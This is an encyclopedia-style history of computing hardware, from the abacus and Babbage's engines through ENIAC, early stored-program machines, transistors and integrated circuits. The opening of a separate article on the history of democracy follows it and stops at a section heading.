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          The history of computing hardware encompasses the hardware, its architecture, and its impact on software. The elements of computing hardware have undergone significant improvement over their history. This improvement has triggered world-wide use of the technology, performance has improved and the price has declined. Computers have become commodities accessible to ever-increasing sectors of the world's population. Computing hardware has become a platform for uses other than computation, such as automation, communication, control, entertainment, and education. Each field in turn has imposed its own requirements on the hardware, which has evolved in response to those requirements.


          The von Neumann architecture unifies our current computing hardware implementations. Since digital computers rely on digital storage, and tend to be limited by the size and speed of memory, the history of computer data storage is tied to the development of computers. The major elements of computing hardware implement abstractions: input, output, memory, and processor. A processor is composed of control and datapath. In the von Neumann architecture, control of the datapath is stored in memory. This allowed control to become an automatic process; the datapath could be under software control, perhaps in response to events. Beginning with mechanical datapaths such as the abacus and astrolabe, the hardware first started using analogs for a computation, including water and even air as the analog quantities: analog computers have used lengths, pressures, voltages, and currents to represent the results of calculations. Eventually the voltages or currents were standardized, and then digitized. Digital computing elements have ranged from mechanical gears, to electromechanical relays, to vacuum tubes, to transistors, and to integrated circuits, all of which are currently implementing the von Neumann architecture.
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          Before computer hardware


          Originally calculations were computed by humans, whose job title was computers. These human computers were typically engaged in the calculation of a mathematical expression, say for astronomical ephemerides, for artillery firing tables, or for nautical navigation. The calculations of this period were specialized and expensive, requiring years of training in mathematics.


          


          Earliest calculators


          Devices have been used to aid computation for thousands of years, using one-to-one correspondence with our fingers. The earliest counting device was probably a form of tally stick. Later record keeping aids throughout the Fertile Crescent included clay shapes, which represented counts of items, probably livestock or grains, sealed in containers. The abacus was used for arithmetic tasks. The Roman abacus was used in Babylonia as early as 2400 BC. Since then, many other forms of reckoning boards or tables have been invented. In a medieval counting house, a checkered cloth would be placed on a table, and markers moved around on it according to certain rules, as an aid to calculating sums of money.


          A number of analog computers were constructed in ancient and medieval times to perform astronomical calculations. These include the Antikythera mechanism and the astrolabe from ancient Greece (c. 150100 BC), which are generally regarded as the first mechanical analog computers. Other early versions of mechanical devices used to perform some type of calculations include the planisphere and other mechanical computing devices invented by Abū Rayhān al-Bīrūnī (c. AD 1000); the equatorium and universal latitude-independent astrolabe by Abū Ishāq Ibrāhīm al-Zarqālī (c. AD 1015); the astronomical analog computers of other medieval Muslim astronomers and engineers; and the astronomical clock tower of Su Song (c. AD 1090) during the Song Dynasty.
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          Scottish mathematician and physicist John Napier noted multiplication and division of numbers could be performed by addition and subtraction, respectively, of logarithms of those numbers. While producing the first logarithmic tables Napier needed to perform many multiplications, and it was at this point that he designed Napier's bones, an abacus-like device used for multiplication and division. Since real numbers can be represented as distances or intervals on a line, the slide rule was invented in the 1620s to allow multiplication and division operations to be carried out significantly faster than was previously possible. Slide rules were used by generations of engineers and other mathematically inclined professional workers, until the invention of the pocket calculator. The engineers in the Apollo program to send a man to the moon made many of their calculations on slide rules, which were accurate to three or four significant figures.
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          German polymath Wilhelm Schickard built the first digital mechanical calculator in 1623, and thus became the father of the computing era. Since his calculator used techniques such as cogs and gears first developed for clocks, it was also called a 'calculating clock'. It was put to practical use by his friend Johannes Kepler, who revolutionized astronomy when he condensed decades of astronomical observations into algebraic expressions. An original calculator by Pascal (1640) is preserved in the Zwinger Museum. Machines by Blaise Pascal (the Pascaline, 1642) and Gottfried Wilhelm von Leibniz (1671) followed. Leibniz once said "It is unworthy of excellent men to lose hours like slaves in the labour of calculation which could safely be relegated to anyone else if machines were used."


          Around 1820, Charles Xavier Thomas created the first successful, mass-produced mechanical calculator, the Thomas Arithmometer, that could add, subtract, multiply, and divide. It was mainly based on Leibniz' work. Mechanical calculators, like the base-ten addiator, the comptometer, the Monroe, the Curta and the Addo-X remained in use until the 1970s. Leibniz also described the binary numeral system, a central ingredient of all modern computers. However, up to the 1940s, many subsequent designs (including Charles Babbage's machines of the 1800s and even ENIAC of 1945) were based on the decimal system; ENIAC's ring counters emulated the operation of the digit wheels of a mechanical adding machine.
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          As early as 1725 Basile Bouchon used a perforated paper loop in a loom to establish the pattern to be reproduced on cloth, and in 1726 his co-worker Jean-Baptiste Falcon improved on his design by using perforated paper cards attached to one another for efficiency in adapting and changing the program. The Bouchon-Falcon loom was semi-automatic and required manual feed of the program. In 1801, Joseph-Marie Jacquard developed a loom in which the pattern being woven was controlled by punched cards. The series of cards could be changed without changing the mechanical design of the loom. This was a landmark point in programmability.


          In 1833, Charles Babbage moved on from developing his difference engine to developing a more complete design, the analytical engine, which would draw directly on Jacquard's punched cards for its programming. In 1835, Babbage described his analytical engine. It was the plan of a general-purpose programmable computer, employing punch cards for input and a steam engine for power. One crucial invention was to use gears for the function served by the beads of an abacus. In a real sense, computers all contain automatic abacuses (the datapath, arithmetic logic unit, or floating-point unit). His initial idea was to use punch-cards to control a machine that could calculate and print logarithmic tables with huge precision (a specific purpose machine). Babbage's idea soon developed into a general-purpose programmable computer, his analytical engine. While his design was sound and the plans were probably correct, or at least debuggable, the project was slowed by various problems. Babbage was a difficult man to work with and argued with anyone who didn't respect his ideas. All the parts for his machine had to be made by hand. Small errors in each item can sometimes sum up to large discrepancies in a machine with thousands of parts, which required these parts to be much better than the usual tolerances needed at the time. The project dissolved in disputes with the artisan who built parts and was ended with the depletion of government funding. Ada Lovelace, Lord Byron's daughter, translated and added notes to the "Sketch of the Analytical Engine" by Federico Luigi, Conte Menabrea.
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          A reconstruction of the Difference Engine II, an earlier, more limited design, has been operational since 1991 at the London Science Museum. With a few trivial changes, it works as Babbage designed it and shows that Babbage was right in theory. The museum used computer-operated machine tools to construct the necessary parts, following tolerances which a machinist of the period would have been able to achieve. The failure of Babbage to complete the engine can be chiefly attributed to difficulties not only related to politics and financing, but also to his desire to develop an increasingly sophisticated computer. Following in the footsteps of Babbage, although unaware of his earlier work, was Percy Ludgate, an accountant from Dublin, Ireland. He independently designed a programmable mechanical computer, which he described in a work that was published in 1909.


          In 1890, the United States Census Bureau used punched cards, sorting machines, and tabulating machines designed by Herman Hollerith to handle the flood of data from the decennial census mandated by the Constitution. Hollerith's company eventually became the core of IBM. IBM developed punch card technology into a powerful tool for business data-processing and produced an extensive line of specialized unit record equipment. By 1950, the IBM card had become ubiquitous in industry and government. The warning printed on most cards intended for circulation as documents (checks, for example), "Do not fold, spindle or mutilate," became a motto for the post-World War II era.
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          Leslie Comrie's articles on punched card methods and W.J. Eckert's publication of Punched Card Methods in Scientific Computation in 1940, described techniques which were sufficiently advanced to solve differential equations or perform multiplication and division using floating point representations, all on punched cards and unit record machines. In the image of the tabulator (see left), note the patch panel, which is visible on the right side of the tabulator. A row of toggle switches is above the patch panel. The Thomas J. Watson Astronomical Computing Bureau, Columbia University performed astronomical calculations representing the state of the art in computing.


          Computer programming in the punch card era revolved around the computer center. The computer users, for example, science and engineering students at universities, would submit their programming assignments to their local computer center. in the form of a stack of cards, one card per program line. They then had to wait for the program to be queued for processing, compiled, and executed. In due course a printout of any results, marked with the submitter's identification, would be placed in an output tray outside the computer centre. In many cases these results would comprise solely a printout of error messages regarding program syntax etc., necessitating another edit-compile-run cycle. Punched cards are still used and manufactured to this day, and their distinctive dimensions (and 80-column capacity) can still be recognized in forms, records, and programs around the world.
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          By the 1900s, earlier mechanical calculators, cash registers, accounting machines, and so on were redesigned to use electric motors, with gear position as the representation for the state of a variable. The word "computer" was a job title assigned to people who used these calculators to perform mathematical calculations. By the 1920s Lewis Fry Richardson's interest in weather prediction led him to propose human computers and numerical analysis to model the weather; to this day, the most powerful computers on Earth are needed to adequately model its weather using the Navier-Stokes equations.


          Companies like Friden, Marchant Calculator and Monroe made desktop mechanical calculators from the 1930s that could add, subtract, multiply and divide. During the Manhattan project, future Nobel laureate Richard Feynman was the supervisor of the roomful of human computers, many of them women mathematicians, who understood the differential equations which were being solved for the war effort. Even the renowned Stanisław Ulam was pressed into service to translate the mathematics into computable approximations for the hydrogen bomb, after the war.


          In 1948, the Curta was introduced. This was a small, portable, mechanical calculator that was about the size of a pepper grinder. Over time, during the 1950s and 1960s a variety of different brands of mechanical calculator appeared on the market. The first all-electronic desktop calculator was the British ANITA Mk.VII, which used a Nixie tube display and 177 subminiature thyratron tubes. In June 1963, Friden introduced the four-function EC-130. It had an all-transistor design, 13-digit capacity on a 5-inch (130mm) CRT, and introduced reverse Polish notation ( RPN) to the calculator market at a price of $2200. The model EC-132 added square root and reciprocal functions. In 1965, Wang Laboratories produced the LOCI-2, a 10-digit transistorized desktop calculator that used a Nixie tube display and could compute logarithms.


          


          Advanced analog computers
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          Before World War II, mechanical and electrical analog computers were considered the "state of the art", and many thought they were the future of computing. Analog computers take advantage of the strong similarities between the mathematics of small-scale properties  the position and motion of wheels or the voltage and current of electronic components  and the mathematics of other physical phenomena, e.g. ballistic trajectories, inertia, resonance, energy transfer, momentum, etc. They model physical phenomena with electrical voltages and currents as the analog quantities.


          Centrally, these analog systems work by creating electrical analogs of other systems, allowing users to predict behaviour of the systems of interest by observing the electrical analogs. The most useful of the analogies was the way the small-scale behaviour could be represented with integral and differential equations, and could be thus used to solve those equations. An ingenious example of such a machine, using water as the analog quantity, was the water integrator built in 1928; an electrical example is the Mallock machine built in 1941. A planimeter is a device which does integrals, using distance as the analog quantity. Until the 1980s, HVAC systems used air both as the analog quantity and the controlling element. Unlike modern digital computers, analog computers are not very flexible, and need to be reconfigured (i.e., reprogrammed) manually to switch them from working on one problem to another. Analog computers had an advantage over early digital computers in that they could be used to solve complex problems using behavioural analogues while the earliest attempts at digital computers were quite limited.
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          Since computers were rare in this era, the solutions were often hard-coded into paper forms such as graphs and nomograms, which could then produce analog solutions to these problems, such as the distribution of pressures and temperatures in a heating system. Some of the most widely deployed analog computers included devices for aiming weapons, such as the Norden bombsight and the fire-control systems, such as Arthur Pollen's Argo system for naval vessels. Some stayed in use for decades after WWII; the Mark I Fire Control Computer was deployed by the United States Navy on a variety of ships from destroyers to battleships. Other analog computers included the Heathkit EC-1, and the hydraulic MONIAC Computer which modeled econometric flows.


          The art of analog computing reached its zenith with the differential analyzer, invented in 1876 by James Thomson and built by H. W. Nieman and Vannevar Bush at MIT starting in 1927. Fewer than a dozen of these devices were ever built; the most powerful was constructed at the University of Pennsylvania's Moore School of Electrical Engineering, where the ENIAC was built. Digital electronic computers like the ENIAC spelled the end for most analog computing machines, but hybrid analog computers, controlled by digital electronics, remained in substantial use into the 1950s and 1960s, and later in some specialized applications. But like all digital devices, the decimal precision of a digital device is a limitation, as compared to an analog device, in which the accuracy is a limitation. As electronics progressed during the twentieth century, its problems of operation at low voltages while maintaining high signal-to-noise ratios were steadily addressed, as shown below, for a digital circuit is a specialized form of analog circuit, intended to operate at standardized settings (continuing in the same vein, logic gates can be realized as forms of digital circuits). But as digital computers have become faster and use larger memory (e.g., RAM or internal storage), they have almost entirely displaced analog computers. Computer programming, or coding, has arisen as another human profession.


          


          Early digital computers
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          The era of modern computing began with a flurry of development before and during World War II, as electronic circuit elements replaced mechanical equivalents and digital calculations replaced analog calculations. Machines such as the Z3, the AtanasoffBerry Computer, the Colossus computers, and the ENIAC were built by hand using circuits containing relays or valves (vacuum tubes), and often used punched cards or punched paper tape for input and as the main (non-volatile) storage medium.


          In this era, a number of different machines were produced with steadily advancing capabilities. At the beginning of this period, nothing remotely resembling a modern computer existed, except in the long-lost plans of Charles Babbage and the mathematical musings of Alan Turing and others. At the end of the era, devices like the EDSAC had been built, and are universally agreed to be digital computers. Defining a single point in the series as the "first computer" misses many subtleties (see the table "Defining characteristics of some early digital computers of the 1940s" below).


          Alan Turing's 1936 paper proved enormously influential in computing and computer science in two ways. Its main purpose was to prove that there were problems (namely the halting problem) that could not be solved by any sequential process. In doing so, Turing provided a definition of a universal computer which executes a program stored on tape. This construct came to be called a Turing machine; it replaces Kurt Gdel's more cumbersome universal language based on arithmetics. Except for the limitations imposed by their finite memory stores, modern computers are said to be Turing-complete, which is to say, they have algorithm execution capability equivalent to a universal Turing machine.
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          For a computing machine to be a practical general-purpose computer, there must be some convenient read-write mechanism, punched tape, for example. With a knowledge of Alan Turing's theoretical 'universal computing machine' John von Neumann defined an architecture which uses the same memory both to store programs and data: virtually all contemporary computers use this architecture (or some variant). While it is theoretically possible to implement a full computer entirely mechanically (as Babbage's design showed), electronics made possible the speed and later the miniaturization that characterize modern computers.


          There were three parallel streams of computer development in the World War II era; the first stream largely ignored, and the second stream deliberately kept secret. The first was the German work of Konrad Zuse. The second was the secret development of the Colossus computers in the UK. Neither of these had much influence on the various computing projects in the United States. The third stream of computer development, Eckert and Mauchly's ENIAC and EDVAC, was widely publicized.


          


          Program-controlled computers
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          Working in isolation in Germany, Konrad Zuse started construction in 1936 of his first Z-series calculators featuring memory and (initially limited) programmability. Zuse's purely mechanical, but already binary Z1, finished in 1938, never worked reliably due to problems with the precision of parts.


          Zuse's subsequent machine, the Z3, was finished in 1941. It was based on telephone relays and did work satisfactorily. The Z3 thus became the first functional program-controlled, all-purpose, digital computer. In many ways it was quite similar to modern machines, pioneering numerous advances, such as floating point numbers. Replacement of the hard-to-implement decimal system (used in Charles Babbage's earlier design) by the simpler binary system meant that Zuse's machines were easier to build and potentially more reliable, given the technologies available at that time.


          Programs were fed into Z3 on punched films. Conditional jumps were missing, but since the 1990s it has been proved theoretically that Z3 was still a universal computer (ignoring its physical storage size limitations). In two 1936 patent applications, Konrad Zuse also anticipated that machine instructions could be stored in the same storage used for data  the key insight of what became known as the von Neumann architecture and was first implemented in the later British EDSAC design (1949). Zuse also claimed to have designed the first higher-level programming language, ( Plankalkl), in 1945 (which was published in 1948) although it was implemented for the first time in 2000 by a team around Ral Rojas at the Free University of Berlin  five years after Zuse died.


          Zuse suffered setbacks during World War II when some of his machines were destroyed in the course of Allied bombing campaigns. Apparently his work remained largely unknown to engineers in the UK and US until much later, although at least IBM was aware of it as it financed his post-war startup company in 1946 in return for an option on Zuse's patents.


          


          Colossus
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          During World War II, the British at Bletchley Park (40 miles north of London) achieved a number of successes at breaking encrypted German military communications. The German encryption machine, Enigma, was attacked with the help of electro-mechanical machines called bombes. The bombe, designed by Alan Turing and Gordon Welchman, after the Polish cryptographic bomba by Marian Rejewski (1938) came into use in 1941. They ruled out possible Enigma settings by performing chains of logical deductions implemented electrically. Most possibilities led to a contradiction, and the few remaining could be tested by hand.


          The Germans also developed a series of teleprinter encryption systems, quite different from Enigma. The Lorenz SZ 40/42 machine was used for high-level Army communications, termed " Tunny" by the British. The first intercepts of Lorenz messages began in 1941. As part of an attack on Tunny, Professor Max Newman and his colleagues helped specify the Colossus. The Mk I Colossus was built between March and December 1943 by Tommy Flowers and his colleagues at the Post Office Research Station at Dollis Hill in London and then shipped to Bletchley Park in January 1944.


          Colossus was the first totally electronic computing device. The Colossus used a large number of valves (vacuum tubes). It had paper-tape input and was capable of being configured to perform a variety of boolean logical operations on its data, but it was not Turing-complete. Nine Mk II Colossi were built (The Mk I was converted to a Mk II making ten machines in total). Details of their existence, design, and use were kept secret well into the 1970s. Winston Churchill personally issued an order for their destruction into pieces no larger than a man's hand. Due to this secrecy the Colossi were not included in many histories of computing. A reconstructed copy of one of the Colossus machines is now on display at Bletchley Park.


          


          American developments


          In 1937, Shannon produced his master's thesis at MIT that implemented Boolean algebra using electronic relays and switches for the first time in history. Entitled A Symbolic Analysis of Relay and Switching Circuits, Shannon's thesis essentially founded practical digital circuit design. George Stibitz completed a relay-based computer he dubbed the "Model K" at Bell Labs in November 1937. Bell Labs authorized a full research program in late 1938 with Stibitz at the helm. Their Complex Number Calculator, completed January 8, 1940, was able to calculate complex numbers. In a demonstration to the American Mathematical Society conference at Dartmouth College on September 11, 1940, Stibitz was able to send the Complex Number Calculator remote commands over telephone lines by a teletype. It was the first computing machine ever used remotely, in this case over a phone line. Some participants in the conference who witnessed the demonstration were John von Neumann, John Mauchly, and Norbert Wiener, who wrote about it in their memoirs.
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          In 1939, John Vincent Atanasoff and Clifford E. Berry of Iowa State University developed the AtanasoffBerry Computer (ABC), a special purpose digital electronic calculator for solving systems of linear equations. The design used over 300 vacuum tubes for high speed and employed capacitors fixed in a mechanically rotating drum for memory. Though the ABC machine was not programmable, it was the first to use electronic circuits. ENIAC co-inventor John Mauchly examined the ABC in June 1941, and its influence on the design of the later ENIAC machine is a matter of contention among computer historians. The ABC was largely forgotten until it became the focus of the lawsuit Honeywell v. Sperry Rand, the ruling of which invalidated the ENIAC patent (and several others) as, among many reasons, having been anticipated by Atanasoff's work.


          In 1939, development began at IBM's Endicott laboratories on the Harvard Mark I. Known officially as the Automatic Sequence Controlled Calculator, the Mark I was a general purpose electro-mechanical computer built with IBM financing and with assistance from IBM personnel, under the direction of Harvard mathematician Howard Aiken. Its design was influenced by Babbage's Analytical Engine, using decimal arithmetic and storage wheels and rotary switches in addition to electromagnetic relays. It was programmable via punched paper tape, and contained several calculation units working in parallel. Later versions contained several paper tape readers and the machine could switch between readers based on a condition. Nevertheless, the machine was not quite Turing-complete. The Mark I was moved to Harvard University and began operation in May 1944.


          


          ENIAC
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          The US-built ENIAC (Electronic Numerical Integrator and Computer) was the first electronic general-purpose computer. Built under the direction of John Mauchly and J. Presper Eckert at the University of Pennsylvania, it was 1,000 times faster than the Harvard Mark I. ENIAC's development and construction lasted from 1943 to full operation at the end of 1945.


          When its design was proposed, many researchers believed that the thousands of delicate valves (i.e. vacuum tubes) would burn out often enough that the ENIAC would be so frequently down for repairs as to be useless. It was, however, capable of up to thousands of operations per second for hours at a time between valve failures.


          ENIAC was unambiguously a Turing-complete device. A "program" on the ENIAC, however, was defined by the states of its patch cables and switches, a far cry from the stored program electronic machines that evolved from it. To program it meant to rewire it. (Improvements completed in 1948 made it possible to execute stored programs set in function table memory, which made programming less a "one-off" effort, and more systematic.) It was possible to run operations in parallel, as it could be wired to operate multiple accumulators simultaneously. Thus the sequential operation which is the hallmark of a von Neumann machine occurred after ENIAC.


          


          First-generation von Neumann machines
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          Even before the ENIAC was finished, Eckert and Mauchly recognized its limitations and started the design of a stored-program computer, EDVAC. John von Neumann was credited with a widely-circulated report describing the EDVAC design in which both the programs and working data were stored in a single, unified store. This basic design, denoted the von Neumann architecture, would serve as the foundation for the world-wide development of ENIAC's successors.


          In this generation of equipment, temporary or working storage was provided by acoustic delay lines, which used the propagation time of sound through a medium such as liquid mercury (or through a wire) to briefly store data. As series of acoustic pulses is sent along a tube; after a time, as the pulse reached the end of the tube, the circuitry detected whether the pulse represented a 1 or 0 and caused the oscillator to re-send the pulse. Others used Williams tubes, which use the ability of a television picture tube to store and retrieve data. By 1954, magnetic core memory was rapidly displacing most other forms of temporary storage, and dominated the field through the mid-1970s.
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          The first working von Neumann machine was the Manchester "Baby" or Small-Scale Experimental Machine, developed by Frederic C. Williams and Tom Kilburn at University of Manchester in 1948; it was followed in 1949 by the Manchester Mark I computer, a complete system, using Williams tube and magnetic drum memory, and introducing index registers. The other contender for the title "first digital stored program computer" had been EDSAC, designed and constructed at the University of Cambridge. Operational less than one year after the Manchester "Baby", it was also capable of tackling real problems. EDSAC was actually inspired by plans for EDVAC (Electronic Discrete Variable Automatic Computer), the successor to ENIAC; these plans were already in place by the time ENIAC was successfully operational. Unlike ENIAC, which used parallel processing, EDVAC used a single processing unit. This design was simpler and was the first to be implemented in each succeeding wave of miniaturization, and increased reliability. Some view Manchester Mark I / EDSAC / EDVAC as the "Eves" from which nearly all current computers derive their architecture. Manchester University's machine became the prototype for the Ferranti Mark I. The first Ferranti Mark I machine was delivered to the University in February, 1951 and at least nine others were sold between 1951 and 1957.


          The first universal programmable computer in the Soviet Union was created by a team of scientists under direction of Sergei Alekseyevich Lebedev from Kiev Institute of Electrotechnology, Soviet Union (now Ukraine). The computer MESM (МЭСМ, Small Electronic Calculating Machine) became operational in 1950. It had about 6,000 vacuum tubes and consumed 25 kW of power. It could perform approximately 3,000 operations per second. Another early machine was CSIRAC, an Australian design that ran its first test program in 1949. CSIRAC is the oldest computer still in existence and the first to have been used to play digital music.


          In October 1947, the directors of J. Lyons & Company, a British catering company famous for its teashops but with strong interests in new office management techniques, decided to take an active role in promoting the commercial development of computers. By 1951 the LEO I computer was operational and ran the world's first regular routine office computer job. On 17 November 1951, the J. Lyons company began weekly operation of a bakery valuations job on the LEO (Lyons Electronic Office). This was the first business application to go live on a stored program computer.


          
            
              Defining characteristics of some early digital computers of the 1940s (In the history of computing hardware)
            

            
              	Name

              	First operational

              	Numeral system

              	Computing mechanism

              	Programming

              	Turing complete
            


            
              	Zuse Z3 (Germany)

              	May 1941

              	Binary

              	Electro-mechanical

              	Program-controlled by punched film stock

              	Yes ( 1998)
            


            
              	AtanasoffBerry Computer (US)

              	Summer 1941

              	Binary

              	Electronic

              	Not programmablesingle purpose

              	No
            


            
              	Colossus (UK)

              	January 1944

              	Binary

              	Electronic

              	Program-controlled by patch cables and switches

              	No
            


            
              	Harvard Mark I  IBM ASCC (US)

              	1944

              	Decimal

              	Electro-mechanical

              	Program-controlled by 24-channel punched paper tape (but no conditional branch)

              	Yes ( 1998)
            


            
              	ENIAC (US)

              	November 1945

              	Decimal

              	Electronic

              	Program-controlled by patch cables and switches

              	Yes
            


            
              	Manchester Small-Scale Experimental Machine (UK)

              	June 1948

              	Binary

              	Electronic

              	Stored-program in Williams cathode ray tube memory

              	Yes
            


            
              	Modified ENIAC (US)

              	September 1948

              	Decimal

              	Electronic

              	Program-controlled by patch cables and switches plus a primitive read-only stored programming mechanism using the Function Tables as program ROM

              	Yes
            


            
              	EDSAC (UK)

              	May 1949

              	Binary

              	Electronic

              	Stored-program in mercury delay line memory

              	Yes
            


            
              	Manchester Mark I (UK)

              	October 1949

              	Binary

              	Electronic

              	Stored-program in Williams cathode ray tube memory and magnetic drum memory

              	Yes
            


            
              	CSIRAC (Australia)

              	November 1949

              	Binary

              	Electronic

              	Stored-program in mercury delay line memory

              	Yes
            

          


          



          In June 1951, the UNIVAC I (Universal Automatic Computer) was delivered to the U.S. Census Bureau. Remington Rand eventually sold 46 machines at more than $1 million each. UNIVAC was the first 'mass produced' computer; all predecessors had been 'one-off' units. It used 5,200 vacuum tubes and consumed 125 kW of power. It used a mercury delay line capable of storing 1,000 words of 11 decimal digits plus sign (72-bit words) for memory. Unlike IBM machines it was not equipped with a punch card reader but 1930s style metal magnetic tape input, making it incompatible with some existing commercial data stores. High speed punched paper tape and modern-style magnetic tapes were used for input/output by other computers of the era.


          In 1952, IBM publicly announced the IBM 701 Electronic Data Processing Machine, the first in its successful 700/7000 series and its first IBM mainframe computer. The IBM 704, introduced in 1954, used magnetic core memory, which became the standard for large machines. The first implemented high-level general purpose programming language, Fortran, was also being developed at IBM for the 704 during 1955 and 1956 and released in early 1957. (Konrad Zuse's 1945 design of the high-level language Plankalkl was not implemented at that time.) A volunteer user group was founded in 1955 to share their software and experiences with the IBM 701; this group, which exists to this day, was a progenitor of open source.
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          IBM introduced a smaller, more affordable computer in 1954 that proved very popular. The IBM 650 weighed over 900 kg, the attached power supply weighed around 1350 kg and both were held in separate cabinets of roughly 1.5 meters by 0.9 meters by 1.8 meters. It cost $500,000 or could be leased for $3,500 a month. Its drum memory was originally only 2000 ten-digit words, and required arcane programming for efficient computing. Memory limitations such as this were to dominate programming for decades afterward, until the evolution of hardware capabilities and a programming model that were more sympathetic to software development.


          In 1955, Maurice Wilkes invented microprogramming, which allows the base instruction set to be defined or extended by built-in programs (now called firmware or microcode). It was widely used in the CPUs and floating-point units of mainframe and other computers, such as the IBM 360 series.


          In 1956, IBM sold its first magnetic disk system, RAMAC (Random Access Method of Accounting and Control). It used 50 24-inch (610mm) metal disks, with 100 tracks per side. It could store 5 megabytes of data and cost $10,000 per megabyte. (As of 2008, magnetic storage, in the form of hard disks, costs less than one 50th of a cent per megabyte).


          


          Second generation: transistors
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          In the second half of the 1950s bipolar junction transistors ( BJTs) replaced vacuum tubes. Their use gave rise to the "second generation" computers. Initially, it was believed that very few computers would ever be produced or used. This was due in part to their size, cost, and the skill required to operate or interpret their results. Transistors greatly reduced computers' size, initial cost and operating cost. The bipolar junction transistor was invented in 1947. If no electrical current flows through the base-emitter path of a bipolar transistor, the transistor's collector-emitter path blocks electrical current (and the transistor is said to "turn full off"). If sufficient current flows through the base-emitter path of a transistor, that transistor's collector-emitter path also passes current (and the transistor is said to "turn full on"). Current flow or current blockage represent binary 1 (true) or 0 (false), respectively. Compared to vacuum tubes, transistors have many advantages: they are less expensive to manufacture and are ten times faster, switching from the condition 1 to 0 in millionths or billionths of a second. Transistor volume is measured in cubic millimeters compared to vacuum tubes' cubic centimeters. Transistors' lower operating temperature increased their reliability, compared to vacuum tubes. Transistorized computers could contain tens of thousands of binary logic circuits in a relatively compact space.


          Typically, second-generation computers were composed of large numbers of printed circuit boards such as the IBM Standard Modular System each carrying one to four logic gates or flip-flops. A second generation computer, the IBM 1401, captured about one third of the world market. IBM installed more than one hundred thousand 1401s between 1960 and 1964 This period saw the only Italian attempt: the ELEA by Olivetti, produced in 110 units.
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          Transistorized electronics improved not only the CPU (Central Processing Unit), but also the peripheral devices. The IBM 350 RAMAC was introduced in 1956 and was the world's first disk drive. The second generation disk data storage units were able to store tens of millions of letters and digits. Multiple Peripherals can be connected to the CPU, increasing the total memory capacity to hundreds of millions of characters. Next to the fixed disk storage units, connected to the CPU via high-speed data transmission, were removable disk data storage units. A removable disk stack can be easily exchanged with another stack in a few seconds. Even if the removable disks' capacity is smaller than fixed disks,' their interchangeability guarantees an nearly unlimited quantity of data close at hand. But magnetic tape provided archival capability for this data, at a lower cost than disk.


          Many second generation CPUs delegated peripheral device communications to a secondary processor. For example, while the communication processor controlled card reading and punching, the main CPU executed calculations and binary branch instructions. One databus would bear data between the main CPU and core memory at the CPU's fetch-execute cycle rate, and other databusses would typically serve the peripheral devices. On the PDP-1, the core memory's cycle time was 5 microseconds; consequently most arithmetic instructions took 10 microseconds (100,000 operations per second) because most operations took at least two memory cycles; one for the instruction, one for the operand data fetch.


          During the second generation remote terminal units (often in the form of teletype machines like a Friden Flexowriter) saw greatly increased use. Telephone connections provided sufficient speed for early remote terminals and allowed hundreds of kilometers separation between remote-terminals and the computing centre. Eventually these stand-alone computer networks would be generalized into an interconnected network of networks  the Internet.


          


          Post-1960: third generation and beyond
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          The explosion in the use of computers began with 'Third Generation' computers. These relied on Jack St. Clair Kilby's and Robert Noyce's independent invention of the integrated circuit (or microchip), which later led to the invention of the microprocessor, by Ted Hoff, Federico Faggin, and Stanley Mazor at Intel. The integrated circuit in the image on the right, for example, an Intel 8742, is an 8-bit microcontroller that includes a CPU running at 12 MHz, 128 bytes of RAM, 2048 bytes of EPROM, and I/O in the same chip.


          During the 1960s there was considerable overlap between second and third generation technologies. IBM implemented its IBM Solid Logic Technology modules in hybrid circuits for the IBM System/360 in 1964. As late as 1975, Sperry Univac continued the manufacture of second-generation machines such as the UNIVAC 494. The Burroughs large systems such as the B5000 were stack machines which allowed for simpler programming. These pushdown automatons were also implemented in minicomputers and microprocessors later, which influenced programming language design. Minicomputers served as low-cost computer centers for industry, business and universities. It became possible to simulate analog circuits with the simulation program with integrated circuit emphasis, or SPICE (1971) on minicomputers, one of the programs for electronic design automation ( EDA). The microprocessor led to the development of the microcomputer, small, low-cost computers that could be owned by individuals and small businesses. Microcomputers, the first of which appeared in the 1970s, became ubiquitous in the 1980s and beyond. Steve Wozniak, co-founder of Apple Computer, is credited with developing the first mass-market home computers. However, his first computer, the Apple I, came out some time after the KIM-1 and Altair 8800, and the first Apple computer with graphic and sound capabilities came out well after the Commodore PET. Computing has evolved with microcomputer architectures, with features added from their larger brethren, now dominant in most market segments.


          Systems as complicated as computers require very high reliability. ENIAC remained on, in continuous operation from 1947 to 1955, for eight years before being shut down. Although a vacuum tube might fail, it would be replaced without bringing down the system. By the simple strategy of never shutting down ENIAC, the failures were dramatically reduced. Hot-pluggable hard disks, like the hot-pluggable vacuum tubes of yesteryear, continue the tradition of repair during continuous operation. Semiconductor memories routinely have no errors when they operate, although operating systems like Unix have employed memory tests on start-up to detect failing hardware. Today, the requirement of reliable performance is made even more stringent when server farms are the delivery platform. Google has managed this by using fault-tolerant software to recover from hardware failures, and is even working on the concept of replacing entire server farms on-the-fly, during a service event.


          In the twenty-first century, multi-core CPUs became commercially available. Content-addressable memory (CAM) has become inexpensive enough to be used in networking, although no computer system has yet implemented hardware CAMs for use in programming languages. Currently, CAMs (or associative arrays) in software are programming-language-specific. Semiconductor memory cell arrays are very regular structures, and manufacturers prove their processes on them; this allows price reductions on memory products. After semiconductor memories became commodities, computer software became less labor-intensive; programming codes became less arcane, more understandable. When the CMOS field effect transistor-based logic gates supplanted bipolar transistors, computer power consumption could decrease dramatically (A CMOS FET draws current during the 'transition' between logic states, unlike the higher current draw of a BJT). This has allowed computing to become a commodity which is now ubiquitous, embedded in many forms, from greeting cards and telephones to satellites. Computing hardware and its software have even become a metaphor for the operation of the universe.


          An indication of the rapidity of development of this field can be inferred by the history of the seminal article. By the time that anyone had time to write anything down, it was obsolete. After 1945, others read John von Neumann's First Draft of a Report on the EDVAC, and immediately started implementing their own systems. To this day, the pace of development has continued, worldwide.
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        History of democracy


        
          

          Democracy is a political system in which all the members of the society have equal access to power. The history of democracy traces back from its origins in ancient world to its re-emergence and rise from the 17th century to the present day.


          


          Antiquity


          


          Pre-historic origins


          Although it is tempting to assume that democracy was created in one particular place and time identified as Ancient Athens about the year 508 BC evidence suggests that democratic government, in a broad sense, existed in several areas of the world well before the turn of the 5th century.


          Within this broad sense it is plausible to assume that democracy in one form or another arises naturally in any well-bounded group, such as a tribe. The scholars name this as tribalism or primitive democracy. The primitive democracy is identified in small communities or villages when the following take place: face-to-face discussion in the village council or a headman whose decisions are supported by village elders or other cooperative modes of government.


          Nevertheless, on larger scale sharper contrasts arise when the village and the city are examined as political communities. In urban governments all other forms of rule namely monarchy, tyranny, aristocracy, and oligarchy have flourished.


          


          Alternative Origins


